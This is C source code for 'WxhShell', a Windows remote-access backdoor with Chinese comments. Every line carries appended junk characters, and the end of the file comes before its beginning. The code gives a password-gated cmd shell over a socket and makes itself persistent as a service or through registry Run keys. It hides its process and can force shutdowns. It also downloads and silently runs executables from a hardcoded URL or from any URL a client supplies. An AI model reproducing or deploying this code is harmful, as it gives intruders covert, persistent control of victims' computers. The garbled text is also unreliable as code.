  case 'd': { $p8xEcQdU#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T~?Ff|qFC  
    if(Boot(SHUTDOWN)) ' {OgN}'{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T"Y+m-<%  
    else { v~+(GqR=+  
    closesocket(wsh); g'f@H-KCD  
    ExitThread(0); tIi&;tw]  
    } BR_1MG'{)$  
    break; Z#jZRNU%ox  
    } pQ">UL*  
  // 获取shell iU918!!N   
  case 's': { LP^$AAy  
    CmdShell(wsh); z kP_6T09  
    closesocket(wsh); f5"k55}  
    ExitThread(0); )}R0Y=e  
    break;  ~NgA  
  } Ib!RD/  
  // 退出 + J{IRyBc  
  case 'x': { unzr0x {  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pad*oPH,  
    CloseIt(wsh); g axsv[W>^  
    break; P8 c`fbkX2  
    } q_8+HEvo  
  // 离开 A  'be8  
  case 'q': { @s&71a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^e5=hH-%  
    closesocket(wsh); m 0C@G5  
    WSACleanup(); X0 5/uX{  
    exit(1); h&iC;yj=  
    break; P5V}#;v  
        } \7eUw,~Q>  
  } ,t744k')  
  } c]<5zyl"j1  
0o4XUW   
  // 提示信息 k'Hs}zeNn  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &B;~  
} p>N(Typ0b  
  } *R,5h2;  
`hm-.@f,9  
  return; //MUeTxR  
}  dFc':|  
h4}84}5d  
// shell模块句柄 X`/k)N>l  
int CmdShell(SOCKET sock) 3*bU6$|5FP  
{ qZh/IW  
STARTUPINFO si; aK~8B_5k8  
ZeroMemory(&si,sizeof(si)); 8`{:MkXP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,ng Cv;s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1~FOgk1;  
PROCESS_INFORMATION ProcessInfo; rHI{aO7  
char cmdline[]="cmd"; kazzVK5x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0> E r=,e  
  return 0; rXq.DvQ  
} c#]4awHU  
3`?7 <YJ  
// 自身启动模式 T<>,lQs(a  
int StartFromService(void) Q\vpqE! 9  
{ zI uJ-8T"  
typedef struct 1H`,WQ1mG  
{ =I5>$}q_&,  
  DWORD ExitStatus; (L:>\m&NO  
  DWORD PebBaseAddress; n&/ `  
  DWORD AffinityMask; DfD&)tsMQ  
  DWORD BasePriority; ^ +\dz  
  ULONG UniqueProcessId; #%2rP'He  
  ULONG InheritedFromUniqueProcessId; 5;WH:XM  
}   PROCESS_BASIC_INFORMATION; ;;t yoh~t  
MchA{p&Ol  
PROCNTQSIP NtQueryInformationProcess; h" W,WxL8  
A{zN | S[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (mB&m@-N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2pCaX\t  
%2{ye  
  HANDLE             hProcess; Q{>k1$fkV  
  PROCESS_BASIC_INFORMATION pbi;  K5 z<3+  
R29~~IOqO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C): 1?@  
  if(NULL == hInst ) return 0; Nx;~@  
~8+ Zs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @ q3k%$4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +`0k Fbx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M3y NAN  
wHLLu~m\  
  if (!NtQueryInformationProcess) return 0; q i;1L Kc  
(WJRi:NP?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v1JzP#  
  if(!hProcess) return 0; ~ Iuf}D;  
h#*dI`>l-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S hWJ72c  
^76]0`gS  
  CloseHandle(hProcess); e9tjw[+A  
WU` rh^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cjY-y-vO  
if(hProcess==NULL) return 0; 6MW{,N  
P+sW[:  
HMODULE hMod; 3?yg\  
char procName[255]; (C L%>5V  
unsigned long cbNeeded; i]4I [!  
n@i HFBb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T-L||yE,h  
vr l-$ii  
  CloseHandle(hProcess); u=sp`%?  
l)\! .X  
if(strstr(procName,"services")) return 1; // 以服务启动  _[3D  
+sA2WK]  
  return 0; // 注册表启动 +\A,&;!SR  
} 3hH<T.@)  
=nS3p6>rZ  
// 主模块 ;'K5J9k  
int StartWxhshell(LPSTR lpCmdLine) TdM ruSY  
{ *fxG?}YT  
  SOCKET wsl; T -2t.Xs  
BOOL val=TRUE; aXYY:;  
  int port=0; Y.UFbrv  
  struct sockaddr_in door; 'H!Uh]!  
R n[cW5Y<  
  if(wscfg.ws_autoins) Install(); 0OE:[pR  
x9g#<2w8  
port=atoi(lpCmdLine); X_h}J=33Q  
cT,sh~-x,  
if(port<=0) port=wscfg.ws_port; {tZ.v@  
m s \}  
  WSADATA data; {\5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =T@1@w  
)10+@d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   # W']6'O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); teF9Q+*~  
  door.sin_family = AF_INET; \b x$i*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2ilQXy  
  door.sin_port = htons(port); vE?G7%,  
FZlWsp=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oc`H}Wvn  
closesocket(wsl); F41=b4/  
return 1; n>YKa)|W`  
} TJRCH>E[a  
0h_|t-9j  
  if(listen(wsl,2) == INVALID_SOCKET) { Yq KCeg  
closesocket(wsl); %u'u kcL7  
return 1; uXvtfc  
} 0,")C5j  
  Wxhshell(wsl); ZE}}W _  
  WSACleanup(); :I#V.  
&QgR*,5eo  
return 0; SJ,v?=S!  
} Kgy  
} /8S>;5hvK@  
T~e.PP  
// 以NT服务方式启动 |{ip T SH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C6PdDRf  
{ W6Fo6a"<  
DWORD   status = 0; rILYI;'o  
  DWORD   specificError = 0xfffffff; 7. oM J  
fHFE){  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z} #JK? u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k(HUUH_z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?@86P|19  
  serviceStatus.dwWin32ExitCode     = 0; %ET+iIhK  
  serviceStatus.dwServiceSpecificExitCode = 0; g 7H(PF?  
  serviceStatus.dwCheckPoint       = 0; Z T%5T}i  
  serviceStatus.dwWaitHint       = 0; /N{*"s2)  
(LCfUI6;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); })%{AfDRF  
  if (hServiceStatusHandle==0) return; JZ x[W&]zT  
AwR =]W;j  
status = GetLastError(); @yYkti;4-  
  if (status!=NO_ERROR) F^:3?JA _  
{ a7opCmL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l/5 hp.  
    serviceStatus.dwCheckPoint       = 0; [/r(__.  
    serviceStatus.dwWaitHint       = 0; `a/`,N  
    serviceStatus.dwWin32ExitCode     = status; hZb_P\1X  
    serviceStatus.dwServiceSpecificExitCode = specificError; Pq$n5fZC !  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,P0) 6>  
    return; ccxNbU  
  } Vurq t_nb  
$`8wJf9@w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {qVZNXDn  
  serviceStatus.dwCheckPoint       = 0; LS[]=Mk@1  
  serviceStatus.dwWaitHint       = 0; -9?]IIVb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QT}tvm@PMq  
} <P<z N~i9j  
5^Zg>I  
// 处理NT服务事件,比如:启动、停止 4xj4=C~i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X?Q4}Y  
{ h";L  
switch(fdwControl) 53 h0UL  
{ ca9X19NG  
case SERVICE_CONTROL_STOP: ckn(`I  
  serviceStatus.dwWin32ExitCode = 0; hy!3yB@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HzJz+ x:  
  serviceStatus.dwCheckPoint   = 0; ]?4hyN   
  serviceStatus.dwWaitHint     = 0; (9)Q ' 'S  
  { Q!3_$<5<E>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (8OsGn  
  } 3so %gvY.'  
  return; l]SX@zTb  
case SERVICE_CONTROL_PAUSE: *4 n)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >\8+: oS^  
  break; 0g;|y4SN=  
case SERVICE_CONTROL_CONTINUE: Z_NCD`i;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; * y,v}-  
  break; *^`Vz?g<  
case SERVICE_CONTROL_INTERROGATE: pj(,Zd[47  
  break; LP=)~K<  
}; RnN!2K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W,u:gzmhw  
} [Rb+q=z#  
q3`u1S7Z7  
// 标准应用程序主函数 %so]L+r2!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wL[ M:  
{ ,zc(t<|-y  
\M-OC5fQv  
// 获取操作系统版本 O/LXdz0B  
OsIsNt=GetOsVer(); 2an f$^[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <VE@DBWyl~  
gqR(.Pu  
  // 从命令行安装 F'Z,]b'st3  
  if(strpbrk(lpCmdLine,"iI")) Install(); \2z>?i)  
5zJq9\)d+  
  // 下载执行文件 KPki}'GO  
if(wscfg.ws_downexe) { CC`JZ.SO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7EJ+c${e.-  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q b%J8juRf  
} I^]nqK  
Vvo 7C!$z  
if(!OsIsNt) { 6u%&<")4HP  
// 如果时win9x,隐藏进程并且设置为注册表启动 4M T 7`sr  
HideProc(); wC*X4 '  
StartWxhshell(lpCmdLine); Gw` L"  
} VEH>]-0K  
else gG uO  
  if(StartFromService()) 05R@7[GWq  
  // 以服务方式启动 HOi`$vX }N  
  StartServiceCtrlDispatcher(DispatchTable); - YBY[%jF>  
else E-FUlOG&  
  // 普通方式启动 A@'OJRc  
  StartWxhshell(lpCmdLine); $~kA B8z  
W*G<X.Hf  
return 0; g)B]FH1  
} OrW  
u? EN  
F"kAkX>3}  
rM SZ"  
=========================================== SX#&5Ka/  
^rz_f{c]-  
C# pjmT_  
/_.|E]  
CN ?gq^  
p4QU9DF  
" s#MPX3itK  
FTldR;}(  
#include <stdio.h> %2h>-.tY  
#include <string.h> 8XaQAy%d]  
#include <windows.h> 8CE = 4  
#include <winsock2.h> iRBfx  
#include <winsvc.h> GX%g9f!O  
#include <urlmon.h> u@^LW<eD  
(?];VG  
#pragma comment (lib, "Ws2_32.lib") m[2gdJK  
#pragma comment (lib, "urlmon.lib") ig"L\ C"T  
^?|"L>y  
#define MAX_USER   100 // 最大客户端连接数 &3&HY:yF  
#define BUF_SOCK   200 // sock buffer g{LP7 D;6  
#define KEY_BUFF   255 // 输入 buffer H*6W q  
V~#tuv  
#define REBOOT     0   // 重启 d=^z`nt !R  
#define SHUTDOWN   1   // 关机 ~G w*r\\+  
3XKf!P  
#define DEF_PORT   5000 // 监听端口 k{0o9,  
ipz5H*  
#define REG_LEN     16   // 注册表键长度 !~Z"9(v'C  
#define SVC_LEN     80   // NT服务名长度 ,//S`j$S  
8EY:t zw  
// 从dll定义API ^sZ,2,^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vD4*&|8T#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5R7DDJk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ( 5~h"s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1x^GWtRp  
D'4\*4is  
// wxhshell配置信息 HT@=evV  
struct WSCFG { V )4J`xg^  
  int ws_port;         // 监听端口 4K74=r),i  
  char ws_passstr[REG_LEN]; // 口令 *ui</+  
  int ws_autoins;       // 安装标记, 1=yes 0=no x^CS"v7  
  char ws_regname[REG_LEN]; // 注册表键名 W l4%GB  
  char ws_svcname[REG_LEN]; // 服务名 =V5%+/r+f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5-M-X#(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AwN!;t_0+N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !'Kj x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LQ% `c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t<qiGDJ<d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nFn5v'g  
N g,j#  
}; V.Mry`9-  
5 dg(e3T  
// default Wxhshell configuration p[cX O=  
struct WSCFG wscfg={DEF_PORT, adw2x pj  
    "xuhuanlingzhe", .(vwIb8\_  
    1, .V*^|UXbHi  
    "Wxhshell", EK'!}OGCG  
    "Wxhshell", 2pAW9R#UV-  
            "WxhShell Service", v0y(58Rz.  
    "Wrsky Windows CmdShell Service", 0IpmRH/  
    "Please Input Your Password: ", /tLVX} &  
  1, #;<Y[hR{P  
  "http://www.wrsky.com/wxhshell.exe", W9)&!&<o  
  "Wxhshell.exe" 9FX-1,Jx  
    }; "5 A! jq  
r :dTz  
// 消息定义模块 /O9EQPm(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KmF]\:sMD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; > P)w?:k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r=4eP(w=  
char *msg_ws_ext="\n\rExit."; @WB@]-+J T  
char *msg_ws_end="\n\rQuit."; nP$9CA  
char *msg_ws_boot="\n\rReboot..."; ElXFeJ%[G  
char *msg_ws_poff="\n\rShutdown..."; c%&>p||  
char *msg_ws_down="\n\rSave to "; IK]d3owA  
y}H!c;  
char *msg_ws_err="\n\rErr!"; \Cj B1] I  
char *msg_ws_ok="\n\rOK!"; 7 d vnupLh  
Uz7<PLxd  
char ExeFile[MAX_PATH]; )X!,3Ca{43  
int nUser = 0; O@P"MXEG  
HANDLE handles[MAX_USER]; t^L]/$q  
int OsIsNt; 5X+A"X ;C  
g+l CMW\  
SERVICE_STATUS       serviceStatus; 0aAoV0fMDz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2?x4vI np;  
BuwY3F\-O  
// 函数声明 Xeaj xcop#  
int Install(void); 4R*,VR.K  
int Uninstall(void); `2snz1>!j  
int DownloadFile(char *sURL, SOCKET wsh); u&NV,6Fj2[  
int Boot(int flag); *] (iS  
void HideProc(void); }M+7 T\ J!  
int GetOsVer(void); M?qy(zb  
int Wxhshell(SOCKET wsl); $u.z*b_yy  
void TalkWithClient(void *cs); D]}G.v1  
int CmdShell(SOCKET sock); Yz bXuJ4  
int StartFromService(void); "]dI1 g_  
int StartWxhshell(LPSTR lpCmdLine); AR=]=8  
kP"9&R`E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ceV}WN19l  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VE24ToI?W"  
5m*,8]!-  
// 数据结构和表定义 =Uh$&m  
SERVICE_TABLE_ENTRY DispatchTable[] = ^s=8!=A(  
{ L$-T,Kze  
{wscfg.ws_svcname, NTServiceMain}, 9gFUaDLo  
{NULL, NULL} $?Wb}DU7_L  
}; ys~x $  
6 r"<jh#  
// 自我安装 pUTr!fR  
int Install(void) rKn~qVls  
{ &vJH$R  
  char svExeFile[MAX_PATH]; :>*7=q=  
  HKEY key; r,udO,Yi=c  
  strcpy(svExeFile,ExeFile);  J *yg&  
Ib`XT0k  
// 如果是win9x系统,修改注册表设为自启动 /\Ef%@  
if(!OsIsNt) { 9UkBwS`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }}[2SH'nH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~V-XEQA  
  RegCloseKey(key); ,'+kBZOv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +H.`MZ=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FtZ?C@1/  
  RegCloseKey(key); ;]iRk  
  return 0; -%~4W?  
    } M{\I8oOg  
  } q@&6#B  
} J1vR5wbu  
else { ( =$ x.1  
R2;  
// 如果是NT以上系统,安装为系统服务 '7/)Ot(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y^k$Us  
if (schSCManager!=0) `gJ(0#ac  
{ Gq6*SaTk  
  SC_HANDLE schService = CreateService <UI [%yXj  
  ( <[phnU^ 8  
  schSCManager, sS Mh`4'  
  wscfg.ws_svcname, (ZGbh MK  
  wscfg.ws_svcdisp,  <Uur^uB  
  SERVICE_ALL_ACCESS, y(&Ac[foS}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6mE\OS-I  
  SERVICE_AUTO_START, >Q/Dk7#  
  SERVICE_ERROR_NORMAL, VQs5"K"  
  svExeFile, C}X\|J  
  NULL, n?Q|)2 2  
  NULL, .N3mb6#[R  
  NULL, @,}UWU  
  NULL, C+]I@Go'Tk  
  NULL -} +[  
  ); u!s2 BC0}N  
  if (schService!=0) ~@!bsLSMU  
  { z{6Z 11|  
  CloseServiceHandle(schService); %C0Dw\A*:  
  CloseServiceHandle(schSCManager); L-Lvp%%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >usL*b0%  
  strcat(svExeFile,wscfg.ws_svcname); =v\.h=~~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LscGTs,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5s XXM  
  RegCloseKey(key); O< I-  
  return 0; lFk R=!?=  
    } 0%B/,/PxD  
  } CAlCDfKW}  
  CloseServiceHandle(schSCManager); 3 {V>S,O3]  
} /efUjkP  
} vIvIfE  
Y@v>FlqI{  
return 1; =*Lfl'sr_  
} *hrvYil2b  
H+#FSdy#  
// 自我卸载 t7pFW^&  
int Uninstall(void) C^){.UGmJ  
{ r^ XVB`v  
  HKEY key; jCY %|  
x38 QD;MT  
if(!OsIsNt) { gIfh3D=yX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uO**E-`  
  RegDeleteValue(key,wscfg.ws_regname); DH=hH&[e(d  
  RegCloseKey(key); FwK] $4*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NHt\ U9l'  
  RegDeleteValue(key,wscfg.ws_regname); rjP/l6 ~'  
  RegCloseKey(key); f^e)O$N9]  
  return 0; 3^ClAE"8  
  } 7=uj2.J6  
} iCoX& "lb  
} WAqINLdX  
else { _g8yDfcLG  
^Pf WG*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y7{?Ip4[  
if (schSCManager!=0) IBGrt^$M  
{ "MsIjSu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l]vm=7:  
  if (schService!=0) _aphkeqd  
  { xk5 ]^yDp  
  if(DeleteService(schService)!=0) { _{>vTBU4F  
  CloseServiceHandle(schService); VUc%4U{Cti  
  CloseServiceHandle(schSCManager); ("@!>|H  
  return 0; Y2TtY;  
  } Mt$ *a  
  CloseServiceHandle(schService); B?QIN]  
  } s.rm7r@ #  
  CloseServiceHandle(schSCManager); b>W %t  
} R_KH"`q  
} V#HuIgf-  
im8CmQ  
return 1; / FII07V  
} :s,Z<^5a)g  
n<,BmVQ  
// 从指定url下载文件 ,uvRi)O>a  
int DownloadFile(char *sURL, SOCKET wsh) (:_$5&i7  
{ kM 6 Qp  
  HRESULT hr; NbobliC=  
char seps[]= "/"; VVZ'i.*_3?  
char *token; hgmCRC  
char *file; W^Yxny  
char myURL[MAX_PATH]; (Z*!#}z`  
char myFILE[MAX_PATH]; .`lCWeHN  
|pK !S  
strcpy(myURL,sURL); I]575\bA  
  token=strtok(myURL,seps); ' QG?nu  
  while(token!=NULL) 1\Xw3prH  
  { pmM9,6P4@  
    file=token; Z;i:](  
  token=strtok(NULL,seps); W!X@  
  } |4JEU3\$  
4 5e~6",  
GetCurrentDirectory(MAX_PATH,myFILE); 7v kL1IA  
strcat(myFILE, "\\"); s%S  
strcat(myFILE, file); Y*^[P,+J*}  
  send(wsh,myFILE,strlen(myFILE),0); 0@(&eH=  
send(wsh,"...",3,0); EPm/r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;jXgAAz7  
  if(hr==S_OK) {=WgzP  
return 0; yfSmDPh  
else hM{bavd  
return 1; 3F3A%C%  
i. "v4D  
} 8y L Y  
zda 3 ,U2o  
// 系统电源模块 UZMd~|  
int Boot(int flag) = &]L00u.  
{ ^#$n~]s  
  HANDLE hToken; Wri<h:1  
  TOKEN_PRIVILEGES tkp; b sX[UF  
pkzaNY/q  
  if(OsIsNt) { DrR@n~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WY/}1X9.%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $X6h|?3U,  
    tkp.PrivilegeCount = 1; }pYqWTG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +R&gqja  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); paK2 xX8E  
if(flag==REBOOT) { Q?vlfZR`8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (e~Nq  
  return 0; X, n:,'  
} 6'/ #+,d'  
else { _U(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Nc`L;CP  
  return 0; L_T5nD^D  
}  )2.Si#  
  } M-71 1|eGI  
  else { # ] QZ  
if(flag==REBOOT) { wj,=$RX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +whDU2 "  
  return 0; q 1,~  
} <YY14p  
else { #a6iuO0I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $mILoy B,  
  return 0; !zo{tI19  
} a9gLg &  
} CrLrw T  
^sw?gH*  
return 1; Ew N}l  
} 0S"MC9beg  
~Y;*u]^  
// win9x进程隐藏模块 d-qUtgqV86  
void HideProc(void) b9krOe *j  
{ S'" Df5  
6Oq 7#3]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UNYqft4  
  if ( hKernel != NULL ) CTb%(<r  
  { (zk"~Ud  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oU8q o-J1H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s AkdMo  
    FreeLibrary(hKernel); r@V!,k#S  
  } rp$'L7lrX  
kmW4:EA%  
return; Y4-t7UlS;  
} 'DR!9De  
eFgA 8kY)  
// 获取操作系统版本 ^[[P*NX3  
int GetOsVer(void) ax`o>_)  
{ 7! Nsm  
  OSVERSIONINFO winfo; Tk}]Gev  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j%kncGS  
  GetVersionEx(&winfo); (=0.inZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~$'awY  
  return 1; ;l+Leex  
  else # d  
  return 0; Vr}'.\$  
} l#o ~W`  
aN?zmkPpov  
// 客户端句柄模块 )5, v!X)  
int Wxhshell(SOCKET wsl) =bOW~0Z1  
{ CJ}%W#  
  SOCKET wsh; 4Z*/WsCv  
  struct sockaddr_in client; )7F/O3Tq  
  DWORD myID; 4RO}<$Nx}  
4s- !7  
  while(nUser<MAX_USER) e ,(mR+a8  
{ vsPu*[%  
  int nSize=sizeof(client); =cI(d ,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P pb\6|*  
  if(wsh==INVALID_SOCKET) return 1; fhiM U8(&  
V gWRW7Se  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^q5#ihM  
if(handles[nUser]==0) ?s01@f#  
  closesocket(wsh); [,Gg^*umS  
else `yyG/l  
  nUser++; 6x`t{g]f,  
  } QRUz`|U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [0!(xp^  
01]f2.5  
  return 0; K- v#.e4  
} D*jM1w_`  
pi(m7Ci"  
// 关闭 socket S jqpec8  
void CloseIt(SOCKET wsh) 9[4xFE?|  
{ Wr 4,YQM  
closesocket(wsh); XFl 6M~ c  
nUser--; >MZ/|`[M  
ExitThread(0); 7Q 3k 7  
} 6K^#?Bn;  
BPrt'Nc  
// 客户端请求句柄 Nn6%9PX_)  
void TalkWithClient(void *cs) kiEa<-]  
{ {7[Ox<Ho  
N2G{<>=  
  SOCKET wsh=(SOCKET)cs; )=+|i3]U  
  char pwd[SVC_LEN]; 5pX6t  
  char cmd[KEY_BUFF]; 6nn *]|7  
char chr[1]; /~1+i'7V.,  
int i,j; ("KF'fp&M2  
|!ELV 7?(  
  while (nUser < MAX_USER) { "oyo#-5z  
 wwqEl(  
if(wscfg.ws_passstr) { Wtnfa{gP%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F?0Ykjh3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OUnA;_  
  //ZeroMemory(pwd,KEY_BUFF); pa+hL,w{6  
      i=0; :OT&  
  while(i<SVC_LEN) { M\j.8jG  
_ q"Gix  
  // 设置超时 0GwR~Z}Z  
  fd_set FdRead; 6tZI["\   
  struct timeval TimeOut; awRX1:T#;O  
  FD_ZERO(&FdRead); ! nx{ X  
  FD_SET(wsh,&FdRead); 0GLM(JmK  
  TimeOut.tv_sec=8; Gv&V|7-f0  
  TimeOut.tv_usec=0; Eci\a]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P55fL-vo|}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }>\C{ClI  
kh<2BOV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F4QVAOM]U  
  pwd=chr[0]; kJU2C=m@e2  
  if(chr[0]==0xd || chr[0]==0xa) {  " bG2:  
  pwd=0; u8^lB7!e/  
  break; `[A];]  
  } +@UV?"d  
  i++; 42{~Lhxt  
    } gYj'(jB  
7zMr:JmV  
  // 如果是非法用户,关闭 socket hH.G#-JO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BtZyn7a  
} sW$XH1Uf#  
0RfZEG)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [g,}gyeS(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YSMAd-Ef-  
[[ZJ]^n,  
while(1) { )7@0[>  
)oZ dj`  
  ZeroMemory(cmd,KEY_BUFF); lZ0 =;I  
*pd@.|^)m  
      // 自动支持客户端 telnet标准   3`HV(5U[  
  j=0; gw(z1L5 n  
  while(j<KEY_BUFF) { K3C<{#r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kfNWI#'9  
  cmd[j]=chr[0]; f1? >h\F8  
  if(chr[0]==0xa || chr[0]==0xd) { WIOV2+  
  cmd[j]=0; ICCc./l|  
  break; M5B# TAybC  
  } MD]>g>  
  j++; pAEx#ck  
    } ~[: 2I  
*Ex|9FCt$  
  // 下载文件 1YA% -~  
  if(strstr(cmd,"http://")) { ;S{(]K7i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ac6=(B  
  if(DownloadFile(cmd,wsh)) %y@AA>x!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ysN3  
  else 2 c}E(8e]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rcv9mj]l  
  } B!yr!DWv  
